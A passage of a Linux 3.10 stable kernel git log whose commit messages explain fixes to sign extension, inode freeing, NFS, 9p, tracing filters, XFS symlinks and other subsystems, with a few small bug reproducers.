"long", which implicitly stands for "signed long". While that's perfectly fine when dealing with 32-bit values if return value of instruction_pointer() gets assigned to 64-bit variable sign extension may happen. And at least in one real use-case it happens already. In perf_prepare_sample() return value of perf_instruction_pointer() (which is an alias to instruction_pointer() in case of ARC) is assigned to (struct perf_sample_data)->ip (which type is "u64"). And what we see if instuction pointer points to user-space application that in case of ARC lays below 0x8000_0000 "ip" gets set properly with leading 32 zeros. But if instruction pointer points to kernel address space that starts from 0x8000_0000 then "ip" is set with 32 leadig "f"-s. I.e. id instruction_pointer() returns 0x8100_0000, "ip" will be assigned with 0xffff_ffff__8100_0000. Which is obviously wrong. In particular that issuse broke output of perf, because perf was unable to associate addresses like 0xffff_ffff__8100_0000 with anything from /proc/kallsyms. That's what we used to see: ----------->8---------- 6.27% ls [unknown] [k] 0xffffffff8046c5cc 2.96% ls libuClibc-0.9.34-git.so [.] memcpy 2.25% ls libuClibc-0.9.34-git.so [.] memset 1.66% ls [unknown] [k] 0xffffffff80666536 1.54% ls libuClibc-0.9.34-git.so [.] 0x000224d6 1.18% ls libuClibc-0.9.34-git.so [.] 0x00022472 ----------->8---------- With that change perf output looks much better now: ----------->8---------- 8.21% ls [kernel.kallsyms] [k] memset 3.52% ls libuClibc-0.9.34-git.so [.] memcpy 2.11% ls libuClibc-0.9.34-git.so [.] malloc 1.88% ls libuClibc-0.9.34-git.so [.] memset 1.64% ls [kernel.kallsyms] [k] _raw_spin_unlock_irqrestore 1.41% ls [kernel.kallsyms] [k] __d_lookup_rcu ----------->8---------- Signed-off-by: Alexey Brodkin Cc: arc-linux-dev@synopsys.com Cc: linux-kernel@vger.kernel.org Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d410a766a6fdcc8f94fd428ae0879fa3115d2d8c Author: Martin Schwidefsky Date: Mon Jul 6 17:58:19 2015 +0200 s390/sclp: clear upper register halves in _sclp_print_early commit f9c87a6f46d508eae0d9ae640be98d50f237f827 upstream. If the kernel is compiled with gcc 5.1 and the XZ compression option the decompress_kernel function calls _sclp_print_early in 64-bit mode while the content of the upper register half of %r6 is non-zero. This causes a specification exception on the servc instruction in _sclp_servc. The _sclp_print_early function saves and restores the upper registers halves but it fails to clear them for the 31-bit code of the mini sclp driver. Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 64a5d2906a07b4a62c757e681bd427dbe77fe1bf Author: Al Viro Date: Wed Jul 8 02:42:38 2015 +0100 freeing unlinked file indefinitely delayed commit 75a6f82a0d10ef8f13cd8fe7212911a0252ab99e upstream. Normally opening a file, unlinking it and then closing will have the inode freed upon close() (provided that it's not otherwise busy and has no remaining links, of course). However, there's one case where that does *not* happen. Namely, if you open it by fhandle with cold dcache, then unlink() and close(). In normal case you get d_delete() in unlink(2) notice that dentry is busy and unhash it; on the final dput() it will be forcibly evicted from dcache, triggering iput() and inode removal. In this case, though, we end up with *two* dentries - disconnected (created by open-by-fhandle) and regular one (used by unlink()). The latter will have its reference to inode dropped just fine, but the former will not - it's considered hashed (it is on the ->s_anon list), so it will stay around until the memory pressure will finally do it in. As the result, we have the final iput() delayed indefinitely. It's trivial to reproduce - void flush_dcache(void) { system("mount -o remount,rw /"); } static char buf[20 * 1024 * 1024]; main() { int fd; union { struct file_handle f; char buf[MAX_HANDLE_SZ]; } x; int m; x.f.handle_bytes = sizeof(x); chdir("/root"); mkdir("foo", 0700); fd = open("foo/bar", O_CREAT | O_RDWR, 0600); close(fd); name_to_handle_at(AT_FDCWD, "foo/bar", &x.f, &m, 0); flush_dcache(); fd = open_by_handle_at(AT_FDCWD, &x.f, O_RDWR); unlink("foo/bar"); write(fd, buf, sizeof(buf)); system("df ."); /* 20Mb eaten */ close(fd); system("df ."); /* should've freed those 20Mb */ flush_dcache(); system("df ."); /* should be the same as #2 */ } will spit out something like Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 322023 303843 1131 100% / Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 322023 303843 1131 100% / Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 322023 283282 21692 93% / - inode gets freed only when dentry is finally evicted (here we trigger than by remount; normally it would've happened in response to memory pressure hell knows when). Acked-by: J. Bruce Fields Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d11be19d00346291a40c8cb0a1809c38ce566b30 Author: Kirill A. Shutemov Date: Mon Jul 6 23:18:37 2015 +0300 mm: avoid setting up anonymous pages into file mapping commit 6b7339f4c31ad69c8e9c0b2859276e22cf72176d upstream. Reading page fault handler code I've noticed that under right circumstances kernel would map anonymous pages into file mappings: if the VMA doesn't have vm_ops->fault() and the VMA wasn't fully populated on ->mmap(), kernel would handle page fault to not populated pte with do_anonymous_page(). Let's change page fault handler to use do_anonymous_page() only on anonymous VMA (->vm_ops == NULL) and make sure that the VMA is not shared. For file mappings without vm_ops->fault() or shred VMA without vm_ops, page fault on pte_none() entry would lead to SIGBUS. Signed-off-by: Kirill A. Shutemov Acked-by: Oleg Nesterov Cc: Andrew Morton Cc: Willy Tarreau Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 792bebb8ecbc5f609b5c5fa273718dd7b77436c4 Author: Greg Kroah-Hartman Date: Mon Aug 3 09:32:37 2015 -0700 Linux 3.10.85 Signed-off-by: Pranav Vashi commit 68d5138ac58bcdc6a7e565649a3c8ca4e5e0662e Author: Nicholas Mc Guire Date: Thu May 7 14:47:50 2015 +0200 MIPS: KVM: Do not sign extend on unsigned MMIO load commit ed9244e6c534612d2b5ae47feab2f55a0d4b4ced upstream. Fix possible unintended sign extension in unsigned MMIO loads by casting to uint16_t in the case of mmio_needed != 2. Signed-off-by: Nicholas Mc Guire Reviewed-by: James Hogan Tested-by: James Hogan Cc: Gleb Natapov Cc: Paolo Bonzini Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/9985/ Signed-off-by: Ralf Baechle Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5d01590b1d77614741e5e29ff2810e232f95965 Author: Chad Dupuis Date: Thu Sep 25 05:17:01 2014 -0400 qla2xxx: Mark port lost when we receive an RSCN for it. commit ef86cb2059a14b4024c7320999ee58e938873032 upstream. Signed-off-by: Chad Dupuis Signed-off-by: Saurav Kashyap Signed-off-by: Christoph Hellwig Cc: Himanshu Madhani Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 88c863f61ac83badfd02f7de0318853f112a73f9 Author: Linus Torvalds Date: Thu Jul 9 11:20:01 2015 -0700 Fix firmware loader uevent buffer NULL pointer dereference commit 6f957724b94cb19f5c1c97efd01dd4df8ced323c upstream. The firmware class uevent function accessed the "fw_priv->buf" buffer without the proper locking and testing for NULL. This is an old bug (looks like it goes back to 2012 and commit 1244691c73b2: "firmware loader: introduce firmware_buf"), but for some reason it's triggering only now in 4.2-rc1. Shuah Khan is trying to bisect what it is that causes this to trigger more easily, but in the meantime let's just fix the bug since others are hitting it too (at least Ingo reports having seen it as well). Reported-and-tested-by: Shuah Khan Acked-by: Ming Lei Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 31120ecb052f3f51cb147855c214bf2c29bb4e67 Author: Joe Perches Date: Thu Mar 26 20:47:10 2015 -0700 hpfs: hpfs_error: Remove static buffer, use vsprintf extension %pV instead commit a28e4b2b18ccb90df402da3f21e1a83c9d4f8ec1 upstream. Removing unnecessary static buffers is good. Use the vsprintf %pV extension instead. Signed-off-by: Joe Perches Signed-off-by: Mikulas Patocka Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a221f7b9aa7f6d5e335380d39aaf24db32be608 Author: Chris Wilson Date: Sun Jun 28 14:18:16 2015 +0100 agp/intel: Fix typo in needs_ilk_vtd_wa() commit 8b572a4200828b4e75cc22ed2f494b58d5372d65 upstream. In needs_ilk_vtd_wa(), we pass in the GPU device but compared it against the ids for the mobile GPU and the mobile host bridge. That latter is impossible and so likely was just a typo for the desktop GPU device id (which is also buggy). Fixes commit da88a5f7f7d434e2cde1b3e19d952e6d84533662 Author: Chris Wilson Date: Wed Feb 13 09:31:53 2013 +0000 drm/i915: Disable WC PTE updates to w/a buggy IOMMU on ILK Reported-by: Ting-Wei Lan Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=91127 References: https://bugzilla.freedesktop.org/show_bug.cgi?id=60391 Signed-off-by: Chris Wilson Cc: Daniel Vetter Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20f2822dbb50b72fbdfceda8d9de941694c3f8bc Author: Ilya Dryomov Date: Wed Jun 24 17:24:33 2015 +0300 rbd: use GFP_NOIO in rbd_obj_request_create() commit 5a60e87603c4c533492c515b7f62578189b03c9c upstream. rbd_obj_request_create() is called on the main I/O path, so we need to use GFP_NOIO to make sure allocation doesn't blow back on us. Not all callers need this, but I'm still hardcoding the flag inside rather than making it a parameter because a) this is going to stable, and b) those callers shouldn't really use rbd_obj_request_create() and will be fixed in the future. More memory allocation fixes will follow. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5cd0e82648823a3beb52e136a74a269ee51b7052 Author: Al Viro Date: Sun Jul 12 10:34:29 2015 -0400 9p: don't leave a half-initialized inode sitting around commit 0a73d0a204a4a04a1e110539c5a524ae51f91d6d upstream. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b58dff313742957b207818a468a54341de647462 Author: Al Viro Date: Sat Jul 4 16:04:19 2015 -0400 9p: forgetting to cancel request on interrupted zero-copy RPC commit a84b69cb6e0a41e86bc593904faa6def3b957343 upstream. If we'd already sent a request and decide to abort it, we *must* issue TFLUSH properly and not just blindly reuse the tag, or we'll get seriously screwed when response eventually arrives and we confuse it for response to later request that had reused the same tag. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 46fefb4892242768a4b846eb1884c5e1a82dc637 Author: Trond Myklebust Date: Mon Jun 1 15:10:25 2015 -0400 SUNRPC: Fix a memory leak in the backchannel code commit 88de6af24f2b48b06c514d3c3d0a8f22fafe30bd upstream. req->rq_private_buf isn't initialised when xprt_setup_backchannel calls xprt_free_allocation. Fixes: fb7a0b9addbdb ("nfs41: New backchannel helper routines") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7d6aaf6d57e195a85963339a98d2ba4994f218e Author: Jeff Layton Date: Tue Jun 9 19:43:56 2015 -0400 nfs: increase size of EXCHANGE_ID name string buffer commit 764ad8ba8cd4c6f836fca9378f8c5121aece0842 upstream. The current buffer is much too small if you have a relatively long hostname. Bring it up to the size of the one that SETCLIENTID has. Reported-by: Michael Skralivetsky Signed-off-by: Jeff Layton Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 307d81660177292c6e2e42c06287633f6e7bb150 Author: Olga Kornievskaia Date: Fri May 15 11:45:31 2015 -0400 fixing infinite OPEN loop in 4.0 stateid recovery commit e8d975e73e5fa05f983fbf2723120edcf68e0b38 upstream. Problem: When an operation like WRITE receives a BAD_STATEID, even though recovery code clears the RECLAIM_NOGRACE recovery flag before recovering the open state, because of clearing delegation state for the associated inode, nfs_inode_find_state_and_recover() gets called and it makes the same state with RECLAIM_NOGRACE flag again. As a results, when we restart looking over the open states, we end up in the infinite loop instead of breaking out in the next test of state flags. Solution: unset the RECLAIM_NOGRACE set because of calling of nfs_inode_find_state_and_recover() after returning from calling recover_open() function. Signed-off-by: Olga Kornievskaia Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a217ec81b246c5c0cec6254266322465b89a8a3a Author: Chuck Lever Date: Tue May 26 11:53:52 2015 -0400 NFS: Fix size of NFSACL SETACL operations commit d683cc49daf7c5afca8cd9654aaa1bf63cdf2ad9 upstream. When encoding the NFSACL SETACL operation, reserve just the estimated size of the ACL rather than a fixed maximum. This eliminates needless zero padding on the wire that the server ignores. Fixes: ee5dc7732bd5 ('NFS: Fix "kernel BUG at fs/nfs/nfs3xdr.c:1338!"') Signed-off-by: Chuck Lever Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a75dca7d0d4e72058902585e59b5e0d4d03c921e Author: Uwe Kleine-König Date: Wed Apr 29 20:38:46 2015 +0200 watchdog: omap: assert the counter being stopped before reprogramming commit 530c11d432727c697629ad5f9d00ee8e2864d453 upstream. The omap watchdog has the annoying behaviour that writes to most registers don't have any effect when the watchdog is already running. Quoting the AM335x reference manual: To modify the timer counter value (the WDT_WCRR register), prescaler ratio (the WDT_WCLR[4:2] PTV bit field), delay configuration value (the WDT_WDLY[31:0] DLY_VALUE bit field), or the load value (the WDT_WLDR[31:0] TIMER_LOAD bit field), the watchdog timer must be disabled by using the start/stop sequence (the WDT_WSPR register). Currently the timer is stopped in the .probe callback but still there are possibilities that yield to a situation where omap_wdt_start is entered with the timer running (e.g. when /dev/watchdog is closed without stopping and then reopened). In such a case programming the timeout silently fails! To circumvent this stop the timer before reprogramming. Assuming one of the first things the watchdog user does is setting the timeout explicitly nothing too bad should happen because this explicit setting works fine. Fixes: 7768a13c252a ("[PATCH] OMAP: Add Watchdog driver support") Signed-off-by: Uwe Kleine-König Reviewed-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff3d12d66083b86ea17ce355f97f82c54ac86535 Author: Alan Stern Date: Thu Jan 29 11:29:13 2015 -0500 USB: usbfs: allow URBs to be reaped after disconnection commit 3f2cee73b650921b2e214bf487b2061a1c266504 upstream. The usbfs API has a peculiar hole: Users are not allowed to reap their URBs after the device has been disconnected. There doesn't seem to be any good reason for this; it is an ad-hoc inconsistency. The patch allows users to issue the USBDEVFS_REAPURB and USBDEVFS_REAPURBNDELAY ioctls (together with their 32-bit counterparts on 64-bit systems) even after the device is gone. If no URBs are pending for a disconnected device then the ioctls will return -ENODEV rather than -EAGAIN, because obviously no new URBs will ever be able to complete. The patch also adds a new capability flag for USBDEVFS_GET_CAPABILITIES to indicate that the reap-after-disconnect feature is supported. Signed-off-by: Alan Stern Tested-by: Chris Dickens Acked-by: Hans de Goede Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1726b8ec7167d09cf6ab0d8c46f4d2685556c375 Author: Michal Kazior Date: Fri May 22 10:22:40 2015 +0200 mac80211: prevent possible crypto tx tailroom corruption commit ab499db80fcf07c18e4053f91a619500f663e90e upstream. There was a possible race between ieee80211_reconfig() and ieee80211_delayed_tailroom_dec(). This could result in inability to transmit data if driver crashed during roaming or rekeying and subsequent skbs with insufficient tailroom appeared. This race was probably never seen in the wild because a device driver would have to crash AND recover within 0.5s which is very unlikely. I was able to prove this race exists after changing the delay to 10s locally and crashing ath10k via debugfs immediately after GTK rekeying. In case of ath10k the counter went below 0. This was harmless but other drivers which actually require tailroom (e.g. for WEP ICV or MMIC) could end up with the counter at 0 instead of >0 and introduce insufficient skb tailroom failures because mac80211 would not resize skbs appropriately anymore. Fixes: 8d1f7ecd2af5 ("mac80211: defer tailroom counter manipulation when roaming") Signed-off-by: Michal Kazior Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6cff4f9eecaa3a17133aed40893a77e95c21be2b Author: Chris Metcalf Date: Thu Jun 25 15:02:08 2015 -0700 __bitmap_parselist: fix bug in empty string handling commit 2528a8b8f457d7432552d0e2b6f0f4046bb702f4 upstream. bitmap_parselist("", &mask, nmaskbits) will erroneously set bit zero in the mask. The same bug is visible in cpumask_parselist() since it is layered on top of the bitmask code, e.g. if you boot with "isolcpus=", you will actually end up with cpu zero isolated. The bug was introduced in commit 4b060420a596 ("bitmap, irq: add smp_affinity_list interface to /proc/irq") when bitmap_parselist() was generalized to support userspace as well as kernelspace. Fixes: 4b060420a596 ("bitmap, irq: add smp_affinity_list interface to /proc/irq") Signed-off-by: Chris Metcalf Cc: Rasmus Villemoes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a06e13b9b81cd139e4020ecea304f134edff5b6e Author: Sagi Grimberg Date: Thu Jun 4 19:49:20 2015 +0300 iser-target: release stale iser connections commit 2f1b6b7d9a815f341b18dfd26a363f37d4d3c96a upstream. When receiving a new iser connect request we serialize the pending requests by adding the newly created iser connection to the np accept list and let the login thread process the connect request one by one (np_accept_wait). In case we received a disconnect request before the iser_conn has begun processing (still linked in np_accept_list) we should detach it from the list and clean it up and not have the login thread process a stale connection. We do it only when the connection state is not already terminating (initiator driven disconnect) as this might lead us to access np_accept_mutex after the np was released in live shutdown scenarios. Signed-off-by: Sagi Grimberg Signed-off-by: Jenny Falkovich Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bdc421a92cfee5f73701c51f0a2d2d4baad0283e Author: Sagi Grimberg Date: Sun Mar 29 15:52:04 2015 +0300 iser-target: Fix possible deadlock in RDMA_CM connection error commit 4a579da2586bd3b79b025947ea24ede2bbfede62 upstream. Before we reach to connection established we may get an error event. In this case the core won't teardown this connection (never established it), so we take care of freeing it ourselves. Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83f58c590dd0dfd02ecf38ed67a6e5ccbbe8cf3f Author: Nicholas Bellinger Date: Thu Feb 26 22:19:15 2015 -0800 iscsi-target: Convert iscsi_thread_set usage to kthread.h commit 88dcd2dab5c23b1c9cfc396246d8f476c872f0ca upstream. This patch converts iscsi-target code to use modern kthread.h API callers for creating RX/TX threads for each new iscsi_conn descriptor, and releasing associated RX/TX threads during connection shutdown. This is done using iscsit_start_kthreads() -> kthread_run() to start new kthreads from within iscsi_post_login_handler(), and invoking kthread_stop() from existing iscsit_close_connection() code. Also, convert iscsit_logout_post_handler_closesession() code to use cmpxchg when determing when iscsit_cause_connection_reinstatement() needs to sleep waiting for completion. Reported-by: Sagi Grimberg Tested-by: Sagi Grimberg Cc: Slava Shwartsman Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8a430da3584f8886dbf312e7646519787396879 Author: Lv Zheng Date: Wed Jul 1 14:43:26 2015 +0800 ACPICA: Tables: Fix an issue that FACS initialization is performed twice commit c04be18448355441a0c424362df65b6422e27bda upstream. ACPICA commit 90f5332a15e9d9ba83831ca700b2b9f708274658 This patch adds a new FACS initialization flag for acpi_tb_initialize(). acpi_enable_subsystem() might be invoked several times in OS bootup process, and we don't want FACS initialization to be invoked twice. Lv Zheng. Link: https://github.com/acpica/acpica/commit/90f5332a Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b68cfd6697e83a49b8aa3062f13f0eb8f1a0c4ac Author: Ilya Dryomov Date: Mon Jun 29 19:30:23 2015 +0300 crush: fix a bug in tree bucket decode commit 82cd003a77173c91b9acad8033fb7931dac8d751 upstream. struct crush_bucket_tree::num_nodes is u8, so ceph_decode_8_safe() should be used. -Wconversion catches this, but I guess it went unnoticed in all the noise it spews. The actual problem (at least for common crushmaps) isn't the u32 -> u8 truncation though - it's the advancement by 4 bytes instead of 1 in the crushmap buffer. Fixes: http://tracker.ceph.com/issues/2759 Signed-off-by: Ilya Dryomov Reviewed-by: Josh Durgin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2dc6d87d98ffc147677797822281a8876f49bd94 Author: Filipe Manana Date: Sat Jun 13 06:52:56 2015 +0100 Btrfs: use kmem_cache_free when freeing entry in inode cache commit c3f4a1685bb87e59c886ee68f7967eae07d4dffa upstream. The free space entries are allocated using kmem_cache_zalloc(), through __btrfs_add_free_space(), therefore we should use kmem_cache_free() and not kfree() to avoid any confusion and any potential problem. Looking at the kfree() definition at mm/slab.c it has the following comment: /* * (...) * * Don't free memory not originally allocated by kmalloc() * or you will run into trouble. */ So better be safe and use kmem_cache_free(). Signed-off-by: Filipe Manana Reviewed-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02710ec167164d2c302feccc49c6050e86683fb4 Author: Firo Yang Date: Thu Jun 11 09:41:10 2015 +0800 md: fix a build warning commit 4e023612325a9034a542bfab79f78b1fe5ebb841 upstream. Warning like this: drivers/md/md.c: In function "update_array_info": drivers/md/md.c:6394:26: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses] !mddev->persistent != info->not_persistent|| Fix it as Neil Brown said: mddev->persistent != !info->not_persistent || Signed-off-by: Firo Yang Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5dafbdd2e0511eb8e680293ffb5cd076892348a5 Author: Stevens, Nick Date: Wed Jul 1 16:07:41 2015 +0000 hwmon: (mcp3021) Fix broken output scaling commit 347d7e45bd09ce09cbc30d5cea9de377eb22f55c upstream. The mcp3021 scaling code is dividing the VDD (full-scale) value in millivolts by the A2D resolution to obtain the scaling factor. When VDD is 3300mV (the standard value) and the resolution is 12-bit (4096 divisions), the result is a scale factor of 3300/4096, which is always one. Effectively, the raw A2D reading is always being returned because no scaling is applied. This patch fixes the issue and simplifies the register-to-volts calculation, removing the unneeded "output_scale" struct member. Signed-off-by: Nick Stevens [Guenter Roeck: Dropped unnecessary value check] Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b085a46b5805b3066e025e718104e3f46571d58 Author: Lior Amsalem Date: Tue May 26 15:07:32 2015 +0200 dmaengine: mv_xor: bug fix for racing condition in descriptors cleanup commit 9136291f1dbc1d4d1cacd2840fb35f4f3ce16c46 upstream. This patch fixes a bug in the XOR driver where the cleanup function can be called and free descriptors that never been processed by the engine (which result in data errors). The cleanup function will free descriptors based on the ownership bit in the descriptors. Fixes: ff7b04796d98 ("dmaengine: DMA engine driver for Marvell XOR engine") Signed-off-by: Lior Amsalem Signed-off-by: Maxime Ripard Reviewed-by: Ofer Heifetz Signed-off-by: Vinod Koul Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c0efd4c0e911460a1dc397db310f56cb1434302 Author: Steven Rostedt (Red Hat) Date: Tue Jul 7 15:05:03 2015 -0400 tracing: Have branch tracer use recursive field of task struct commit 6224beb12e190ff11f3c7d4bf50cb2922878f600 upstream. Fengguang Wu's tests triggered a bug in the branch tracer's start up test when CONFIG_DEBUG_PREEMPT set. This was because that config adds some debug logic in the per cpu field, which calls back into the branch tracer. The branch tracer has its own recursive checks, but uses a per cpu variable to implement it. If retrieving the per cpu variable calls back into the branch tracer, you can see how things will break. Instead of using a per cpu variable, use the trace_recursion field of the current task struct. Simply set a bit when entering the branch tracing and clear it when leaving. If the bit is set on entry, just don't do the tracing. There's also the case with lockdep, as the local_irq_save() called before the recursion can also trigger code that can call back into the function. Changing that to a raw_local_irq_save() will protect that as well. This prevents the recursion and the inevitable crash that follows. Link: http://lkml.kernel.org/r/20150630141803.GA28071@wfg-t540p.sh.intel.com Reported-by: Fengguang Wu Tested-by: Fengguang Wu Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15ae3d0648eaea8b184fbff3eae400d1ced07af4 Author: Steven Rostedt (Red Hat) Date: Thu Jun 25 18:10:09 2015 -0400 tracing/filter: Do not allow infix to exceed end of string commit 6b88f44e161b9ee2a803e5b2b1fbcf4e20e8b980 upstream. While debugging a WARN_ON() for filtering, I found that it is possible for the filter string to be referenced after its end. With the filter: # echo '>' > /sys/kernel/debug/events/ext4/ext4_truncate_exit/filter The filter_parse() function can call infix_get_op() which calls infix_advance() that updates the infix filter pointers for the cnt and tail without checking if the filter is already at the end, which will put the cnt to zero and the tail beyond the end. The loop then calls infix_next() that has ps->infix.cnt--; return ps->infix.string[ps->infix.tail++]; The cnt will now be below zero, and the tail that is returned is already passed the end of the filter string. So far the allocation of the filter string usually has some buffer that is zeroed out, but if the filter string is of the exact size of the allocated buffer there's no guarantee that the charater after the nul terminating character will be zero. Luckily, only root can write to the filter. Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c5580cec072f6b1d37fe3ed131346f24a998896d Author: Steven Rostedt (Red Hat) Date: Thu Jun 25 18:02:29 2015 -0400 tracing/filter: Do not WARN on operand count going below zero commit b4875bbe7e68f139bd3383828ae8e994a0df6d28 upstream. When testing the fix for the trace filter, I could not come up with a scenario where the operand count goes below zero, so I added a WARN_ON_ONCE(cnt < 0) to the logic. But there is legitimate case that it can happen (although the filter would be wrong). # echo '>' > /sys/kernel/debug/events/ext4/ext4_truncate_exit/filter That is, a single operation without any operands will hit the path where the WARN_ON_ONCE() can trigger. Although this is harmless, and the filter is reported as a error. But instead of spitting out a warning to the kernel dmesg, just fail nicely and report it via the proper channels. Link: http://lkml.kernel.org/r/558C6082.90608@oracle.com Reported-by: Vince Weaver Reported-by: Sasha Levin Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9b1789ea6368a8f4b56f81a34cf328819b8bbb5e Author: Arne Fitzenreiter Date: Wed Jul 15 13:54:37 2015 +0200 libata: force disable trim for SuperSSpeed S238 commit cda57b1b05cf7b8b99ab4b732bea0b05b6c015cc upstream. This device loses blocks, often the partition table area, on trim. Disable TRIM. http://pcengines.ch/msata16a.htm Signed-off-by: Arne Fitzenreiter Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 33792de5a58136516fdc11c2b75849043e9cf6ec Author: Arne Fitzenreiter Date: Wed Jul 15 13:54:36 2015 +0200 libata: add ATA_HORKAGE_NOTRIM commit 71d126fd28de2d4d9b7b2088dbccd7ca62fad6e0 upstream. Some devices lose data on TRIM whether queued or not. This patch adds a horkage to disable TRIM. tj: Collapsed unnecessary if() nesting. Signed-off-by: Arne Fitzenreiter Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit af3abbab1d9900ef4daff76827b64c8f8b71b592 Author: Hon Ching \\\\(Vicky\\\\) Lo Date: Fri May 22 13:23:02 2015 -0400 vTPM: set virtual device before passing to ibmvtpm_reset_crq commit 9d75f08946e8485109458ccf16f714697c207f41 upstream. tpm_ibmvtpm_probe() calls ibmvtpm_reset_crq(ibmvtpm) without having yet set the virtual device in the ibmvtpm structure. So in ibmvtpm_reset_crq, the phype call contains empty unit addresses, ibmvtpm->vdev->unit_address. Signed-off-by: Hon Ching(Vicky) Lo Signed-off-by: Joy Latten Reviewed-by: Ashley Lai Fixes: 132f76294744 ("drivers/char/tpm: Add new device driver to support IBM vTPM") Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1283d3f40854305b0ef61f39ceab9c8e868495d0 Author: Eric Sandeen Date: Mon Jun 22 09:42:48 2015 +1000 xfs: fix remote symlinks on V5/CRC filesystems commit 2ac56d3d4bd625450a54d4c3f9292d58f6b88232 upstream. If we create a CRC filesystem, mount it, and create a symlink with a path long enough that it can't live in the inode, we get a very strange result upon remount: # ls -l mnt total 4 lrwxrwxrwx. 1 root root 929 Jun 15 16:58 link -> XSLM XSLM is the V5 symlink block header magic (which happens to be followed by a NUL, so the string looks terminated). xfs_readlink_bmap() advanced cur_chunk by the size of the header for CRC filesystems, but never actually used that pointer; it kept reading from bp->b_addr, which is the start of the block, rather than the start of the symlink data after the header. Looks like this problem goes back to v3.10. Fixing this gets us reading the proper link target, again. Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d61a72d67339a07addc8591f355d408ec83112e Author: Zhao Junwang Date: Tue Jul 7 17:08:35 2015 +0800 drm: add a check for x/y in drm_mode_setcrtc commit 01447e9f04ba1c49a9534ae6a5a6f26c2bb05226 upstream. legacy setcrtc ioctl does take a 32 bit value which might indeed overflow the checks of crtc_req->x > INT_MAX and crtc_req->y > INT_MAX aren't needed any more with this v2: -polish the annotation according to Daniel's comment Cc: Daniel Vetter Signed-off-by: Zhao Junwang Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c92400628c25ff4f832904e3982ff224b4d31708 Author: Michel Dänzer Date: Fri Jul 3 10:02:27 2015 +0900 drm/radeon: Don't flush the GART TLB if rdev->gart.ptr == NULL commit 233709d2cd6bbaaeda0aeb8d11f6ca7f98563b39 upstream. This can be the case when the GPU is powered off, e.g. via vgaswitcheroo or runpm. When the GPU is powered up again, radeon_gart_table_vram_pin flushes the TLB after setting rdev->gart.ptr to non-NULL. Fixes panic on powering off R7xx GPUs. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=61529 Reviewed-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher Signed-off-by: 